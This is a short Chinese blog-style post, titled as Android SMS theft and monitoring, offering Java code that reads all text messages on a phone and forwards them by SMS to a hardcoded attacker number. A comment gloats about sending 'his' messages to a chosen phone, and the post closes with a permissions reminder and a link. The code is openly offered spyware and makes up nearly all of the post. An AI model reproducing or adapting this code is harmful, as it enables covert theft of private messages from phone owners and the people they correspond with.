android窃密短信监听

//获得手机的短信

   public String getSmsInPhone()    
    {    
        final String SMS_URI_ALL   = "content://sms/";      
        final String SMS_URI_INBOX = "content://sms/inbox";    
        final String SMS_URI_SEND  = "content://sms/sent";    
        final String SMS_URI_DRAFT = "content://sms/draft";    
            
        StringBuilder smsBuilder = new StringBuilder();    
            
        try{    
            ContentResolver cr = getContentResolver();    
            String[] projection = new String[]{"_id", "address", "person",     
                    "body", "date", "type"};    
            Uri uri = Uri.parse(SMS_URI_ALL);    
            Cursor cur = cr.query(uri, projection, null, null, "date desc");    
       
            if (cur.moveToFirst()) {    
                String name;     
                String phoneNumber;           
                String smsbody;    
                String date;    
                String type;    
                 
                int nameColumn = cur.getColumnIndex("person");    
                int phoneNumberColumn = cur.getColumnIndex("address");    
                int smsbodyColumn = cur.getColumnIndex("body");    
                int dateColumn = cur.getColumnIndex("date");    
                int typeColumn = cur.getColumnIndex("type");    
                
                do{    
                    name = cur.getString(nameColumn);                 
                    phoneNumber = cur.getString(phoneNumberColumn);    
                    smsbody = cur.getString(smsbodyColumn);    
                        
                    SimpleDateFormat dateFormat = new SimpleDateFormat(    
                            "yyyy-MM-dd hh:mm:ss");    
                    Date d = new Date(Long.parseLong(cur.getString(dateColumn)));    
                    date = dateFormat.format(d);    
                        
                    int typeId = cur.getInt(typeColumn);    
                    if(typeId == 1){    
                        type = "接收";    
                    } else if(typeId == 2){    
                        type = "发送";    
                    } else {    
                        type = "";    
                    }    
                     
                    smsBuilder.append("[");    
                    smsBuilder.append(name+",");    
                    smsBuilder.append(phoneNumber+",");    
                    smsBuilder.append(smsbody+",");    
                    smsBuilder.append(date+",");    
                    smsBuilder.append(type);    
                    smsBuilder.append("] ");    
                    smsBuilder.append("\n");
                    
                    if(smsbody == null) smsbody = "";      
                }while(cur.moveToNext());
                
            } else {    
                smsBuilder.append("no result!");    
            }   
            
        } catch(SQLiteException ex) {    
            Log.d("SQLiteException in getSmsInPhone", ex.getMessage());    
        }    
        return smsBuilder.toString();    
    } 

      //把他的短信发送到指定的手机上嘿嘿

 

String msg=getSmsInPhone();
		//发送短信
				String tel="手机号码";
                SmsManager manage=SmsManager.getDefault();  //取得默认的SmsManager用于短信的发送   
                List all=manage.divideMessage(msg);  //短信的内容是有限的,要根据短信长度截取。逐条发送   
                  manage.sendTextMessage(tel, null, all.get(0), null, null);  //逐条发送短息  
//去配置文件注册权限 

                
//http://www.shop8888.com 手机号码查询大家可以查询一下

你可能感兴趣的:(android)